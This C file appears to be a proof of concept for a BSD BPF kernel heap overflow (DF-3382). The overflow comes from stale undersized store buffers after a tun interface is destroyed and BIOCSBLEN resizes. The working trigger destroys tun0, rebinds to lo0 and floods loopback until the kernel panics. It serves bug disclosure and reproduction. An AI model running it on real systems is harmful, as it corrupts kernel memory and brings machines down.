DF-3382 / trigger.c
/* * DF-3382 PoC — stale undersized store buffers after interface destroy + * BIOCSBLEN resize. bpfclose/BIOCSBLEN guard on bd_bif, bpf_setif guards * allocation on bd_sbuf only, so after bpfdetach() (bd_bif=NULL, buffers * retained) BIOCSBLEN can raise bd_bufsize while the kmalloc'd buffers stay * small; the next BIOCSETIF skips bpf_allocbufs() and catchpacket() then * writes up to bd_bufsize bytes into the old allocation. * * Prereq (root, run in pack dir): sh setup.sh # kldload if_tun; create tun0 * Run: ./trigger * * Expected: panic after ~3 loopback packets (store buffer 4096 bytes, * bd_bufsize 512KiB). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/bpf.h> #include <net/if.h> #include <netinet/in.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static void flood_loopback(int n) { struct sockaddr_in sin; char pkt[1400]; int s, i; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(9998); sin.sin_addr.s_addr = htonl(0x7f000001); memset(pkt, 0x41, sizeof(pkt)); for (i = 0; i < n; i++) { if (sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) err(1, "sendto"); if ((i % 16) == 0) { printf("[+] sent %d/%d\n", i, n); fflush(stdout); } } close(s); } static void bindif(int fd, const char *name) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(fd, BIOCSETIF, &ifr) < 0) err(1, "BIOCSETIF(%s)", name); } int main(void) { u_int blen = 0x80000; u_int one = 1; int fd; fd = open("/dev/bpf1", O_RDWR); if (fd < 0) err(1, "open /dev/bpf1"); printf("[+] binding to tun0 (allocates 4096-byte buffers)\n"); bindif(fd, "tun0"); printf("[+] destroying tun0 now (root, from shell helper)\n"); fflush(stdout); if (system("ifconfig tun0 destroy") != 0) errx(1, "ifconfig tun0 destroy failed"); printf("[+] tun0 destroyed; bd_bif==NULL, bd_sbuf still allocated\n"); fflush(stdout); if (ioctl(fd, BIOCSBLEN, &blen) < 0) err(1, "BIOCSBLEN"); printf("[+] BIOCSBLEN -> %u (buffers still 4096!)\n", blen); ioctl(fd, BIOCIMMEDIATE, &one); printf("[+] rebinding to lo0 (bpf_setif skips bpf_allocbufs)\n"); bindif(fd, "lo0"); printf("[+] flooding loopback: each packet appends ~1.4KiB to a " "4096-byte store buffer with bd_bufsize=%u\n", blen); fflush(stdout); flood_loopback(512); printf("[-] survived\n"); return (0); } |